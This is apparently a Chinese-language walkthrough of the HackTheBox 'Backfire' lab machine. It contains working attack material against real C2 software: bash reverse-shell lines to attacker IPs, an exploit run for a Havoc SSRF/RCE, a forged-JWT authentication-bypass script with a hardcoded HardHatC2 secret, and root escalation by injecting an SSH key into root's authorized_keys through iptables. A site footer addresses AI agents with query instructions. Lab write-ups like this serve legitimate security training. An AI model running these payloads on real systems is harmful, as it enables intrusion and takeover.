> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/backfire-hackthebox-writeup.md).

# Backfire HackTheBox 复现

Backfire HackTheBox 中等难度 Linux 靶机复现，涵盖信息泄露（Yaotl 文件）、Havoc-C2 利用（端口 40046）、SSH 密钥创建、横向移动（用户：Sergej），并包含实战枚举、e

{% embed url="<https://app.hackthebox.com/machines/643>" %}

{% hint style="warning" %}
**技能：**

* 信息泄露（Yaotl 文件）
* Havoc-C2 利用（40046 端口）
* 创建 SSH 密钥
* 横向移动（用户：Sergej）
* HardHat 利用（7096 端口）
  * HardHat - 绕过身份验证
  * HardHat - 远程代码执行
* Sudo 权限提升（IPTables）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1b457757f3bcb186fcf2ebb56d3268444d559b18%2Fimage%20(2802).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea0cb9dff725574947860a59636e55b1683be2ca%2Fimage%20(2803).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.49 -oN allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4189bc15a0f9b5f94e0c44db18d2d46a673ce38d%2Fimage%20(2804).png?alt=media" alt=""><figcaption></figcaption></figure>

使用 Nmap 进行端口版本扫描：（22、443、8000）

使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p22,443,8000 10.10.11.49 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c8d509c6f1fac959e9d982eb077af49bf720dd16%2Fimage%20(2805).png?alt=media" alt=""><figcaption></figcaption></figure>

### 8000 端口

在 8000 端口上，我们发现了两个有趣的文件：

* `disable_tls.path`
* `havoc.yaotl`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7d637db333b0142e70eeb0e589e2ee5c9ab02716%2Fimage%20(2806).png?alt=media" alt=""><figcaption></figcaption></figure>

该 **havoc.yaotl** 文件包含两个用户及其密码和一个域名：

* **ilya：** `CobaltStr1keSuckz!`
* **sergej：** `1w4nt2sw1tch2h4rdh4tc2`
* **主机：** `backfire.htb`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9b4c8182562c6f1a7d8db0c9887e9f028bf69b8%2Fimage%20(2807).png?alt=media" alt=""><figcaption></figcaption></figure>

我们将这个主机名添加到我们的 `/etc/hosts` 文件中，方便访问。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d24389214e3dd2b2d7b62469f4d1d780c3df6f98%2Fimage%20(2808).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

该 **disable/ tls.path** 该文件包含一个用于在 Havoc 中禁用 WebSocket 管理端口（40056）TLS 的补丁。此补丁将 "wss\://" 替换为 "ws\://"，并移除了客户端和服务器的 SSL 配置。作者为此更改的理由是，这个端口只接受通过 SSH 转发的本地连接，从而降低安全风险。这个补丁看起来也像是在讽刺用户 **sergej**的快速操作。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1ed0792c2a07f1a098e7797ea18f330bc21cf366%2Fimage%20(2809).png?alt=media" alt=""><figcaption></figcaption></figure>

## 40046 端口 Havoc-C2

{% embed url="<https://github.com/thisisveryfunny/CVE-2024-41570-Havoc-C2-RCE>" %}

为了利用 Havoc 中的 SSRF 漏洞，我们创建一个 `payload.sh` 包含以下代码的文件：

```bash
#!/bin/bash
 
bash -i >& /dev/tcp/10.10.14.254/4444 0>&1
```

接下来，我们使用以下命令搭建一个 Web 服务器来托管我们的 payload：

```bash
python3 -m http.server 80
```

然后，我们使用 netcat 监听 4444 端口以接收反向连接：

```bash
nc -nlvp 4444
```

我们修改脚本以包含相关信息，然后使用以下命令运行利用代码：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-27bbaf425615b1e5807105d649119bd1d12079d3%2Fimage%20(2811).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
python3 exploit.py -t https://backfire.htb -i 127.0.0.1 -p 40056
```

**用户访问权限：**

用户 **ilya** 允许你连接到目标机器。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e403769a45e757eb7bc109a5a1c37c9de35f805f%2Fimage%20(2810).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 终端稳定化

<pre class="language-bash"><code class="lang-bash">script /dev/null -c bash
按 `Ctrl+Z`，然后稳定终端：

stty raw -echo; fg
reset xterm
export TERM=xterm
<strong>export SHELL=bash
</strong>stty rows 44 columns 184
</code></pre>

### user.txt 标志

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f64e4a0a988189e5538d26df71df4c255364c03c%2F%7BAE475101-4396-469A-BA85-F8A3B0B55636%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

我们观察到一个 cron 任务每 2 分钟会踢掉我们的会话。为了解决这个问题，我们将创建 SSH 密钥。

### **创建 SSH 密钥：**

我们使用以下命令生成一个新的 SSH 密钥：

{% code overflow="wrap" %}

```bash
ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c2740a2f43a6580f4ff9e309fa72bd8144a266d2%2F%7BAA9D8671-4A32-4556-A9F3-3289AB78EC50%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

然后我们修改 `authorized_keys` 文件以添加我们的公钥：

{% code overflow="wrap" %}

```bash
echo "YOU KEY" | tee -a ~/.ssh/authorized_keys
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec5429114c050882e680623d6a134b5dc2d2be4d%2Fimage%20(761).png?alt=media" alt=""><figcaption></figcaption></figure>

然后我们使用 SSH 连接到目标机器：

```bash
ssh ilya@backfire.htb
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bdac85c1ed44e0ea8bc1b51831e411ba36fc7ce%2Fimage%20(762).png?alt=media" alt=""><figcaption></figcaption></figure>

### **切换到用户 Sergej**

在用户的目录中 `ilya`，我们发现一个文件 `hardhat.txt` 包含以下消息：

> Sergej 说他为了测试安装了 HardHatC2，并且没有更改默认设置。我希望他更喜欢 Havoc，因为我不想再学习另一个 C2 框架，还有 Go

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1491e94247bc2265d786e5d983706ac2772dc689%2Fimage%20(763).png?alt=media" alt=""><figcaption></figcaption></figure>

我们使用 `netstat` 命令：

```bash
netstat -tuln
```

5000 和 7096 端口看起来尤其有意思。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-54a6c1f30fc88ef52a4bee47bba5da0ab56cf9fd%2Fimage%20(764).png?alt=media" alt=""><figcaption></figcaption></figure>

**端口转发：**

我们使用 SSH 进行端口转发以访问内部服务：

```bash
ssh -L 5000:127.0.0.1:5000 -L 7096:127.0.0.1:7096 ilya@backfire.htb
```

## **7096 端口 - HardHatC2 CMS：**

在 7096 端口上，我们找到了 HardHat CMS。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-648d7140acb8f4d9f62dc5e75cb0a0d3f19cde0d%2F%7BCAF9B213-D2BF-438F-920E-62388C3679DA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **HardHat C2 身份验证绕过**

{% embed url="<https://blog.sth.sh/hardhatc2-0-days-rce-authn-bypass-96ba683d9dd7>" %}

我们使用以下脚本绕过身份验证并创建新用户：

```python
import jwt  
import datetime  
import uuid  
import requests  
  
rhost = '127.0.0.1:5000'  
  
# 构造管理员 JWT  
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"  
issuer = "hardhatc2.com"  
now = datetime.datetime.utcnow()  
  
expiration = now + datetime.timedelta(days=28)  
payload = {  
"sub": "HardHat_Admin",  
"jti": str(uuid.uuid4()),  
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",  
"iss": issuer,  
"aud": issuer,  
"iat": int(now.timestamp()),  
"exp": int(expiration.timestamp()),  
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "管理员"  
}  
  
token = jwt.encode(payload, secret, algorithm="HS256")  
print("生成的 JWT：")  
print(token)  
  
# 使用管理员 JWT 以团队负责人身份创建新用户 'sth_pentest'  
burp0_url = f"https://{rhost}/Login/Register"  
burp0_headers = {  
"Authorization": f"Bearer {token}",  
"Content-Type": "application/json"  
}  
burp0_json = {  
"password": "jordan12345",  
"role": "团队负责人",  
"username": "jordan"  
}  
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)  
print(r.text)
```

脚本生成用户 `jordan` 角色为 `团队负责人`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a1db69b99033eff3c215e061f76a63c1c5f4fb5a%2Fimage%20(766).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d6b4b36c2dc06cccfc02bd605d6ca7a015712f0e%2F%7BE9238EDA-497D-4012-8749-D86F6DDA1C96%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Hardhat C2（RCE）

在 `ImplantInteract` 部分，我们可以访问一个终端。运行 `whoami` 命令后，我们看到自己以用户身份登录： `sergej`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-59dae93c624c55c8b845a3076976e7e264550385%2Fimage%20(767).png?alt=media" alt=""><figcaption></figcaption></figure>

我们为用户建立一个反向 shell `sergej` 通过监听 443 端口：

```bash
nc -nlvp 443
```

接下来运行以下命令以建立反向连接

```bash
bash -c "bash -i >& /dev/tcp/10.10.14.163/443 0>&1"
```

连接后，我们将 SSH 密钥添加到 `authorized_keys` 以便于轻松重新连接：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0289721a6b2facd2b2bac8500a42a90c8a7dc208%2F%7B5CF0CBAF-AF14-482B-B5CD-78B0329A1283%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

```bash
echo "your key" | tee -a ~/.ssh/authorized_keys
```

## **权限提升：**

### **Sudo - IP-Tables**

**检查 sudo 权限**

我们先检查机器上可用的 sudo 权限：

```bash
sudo -l
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3846c43712ec9d11935cc06856e7761778720d9f%2F%7B17667C7C-F156-4A91-BD54-F52F5758E629%7D.png?alt=media" alt="" width="556"><figcaption></figcaption></figure>

我们发现该用户拥有 `sudo` 以下命令的免密码权限：

* `/usr/sbin/iptables`
* `/usr/sbin/iptables-save`

**生成 SSH 密钥对**

我们生成一个 SSH 密钥对，以将我们的公钥注入 root 的认证文件：

```bash
ssh-keygen  -t ed25519
```

这是生成的公钥：

{% code overflow="wrap" %}

```
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAcikYtchlCaD+kDGQOFivZDZ27BZ4QodyiLhBAkTgNl jordan@parrot
```

{% endcode %}

**将公钥注入 iptables**

我们使用 `--comment` 字段 `iptables` 将我们的公钥注入到一条规则中

{% code overflow="wrap" %}

```bash
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'/nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAcikYtchlCaD+kDGQOFivZDZ27BZ4QodyiLhBAkTgNl jordan@parrot/n'
```

{% endcode %}

我们检查规则是否已添加：

```bash
 sudo /usr/sbin/iptables -L
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40fb66e37e539448f1abd0c579cf03085bf47ba1%2Fimage%20(439).png?alt=media" alt=""><figcaption></figcaption></figure>

**保存到 authorized/\_keys 文件中**

我们将 iptables 规则保存到一个文件中，该文件将被用作 root 用户的 `authorized_keys` 文件：

```bash
sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys2
```

**以 root 登录**

最后，我们可以通过 SSH 以 root 身份连接：

```bash
ssh root@backfire.htb
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4d08641cf04402447d8ed74f1f788063d8f364c0%2Fimage%20(440).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-beedb7f9cb4d90d3742975bd5d8ebb27a5a3460e%2Fimage%20(441).png?alt=media" alt="" width="516"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/backfire-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
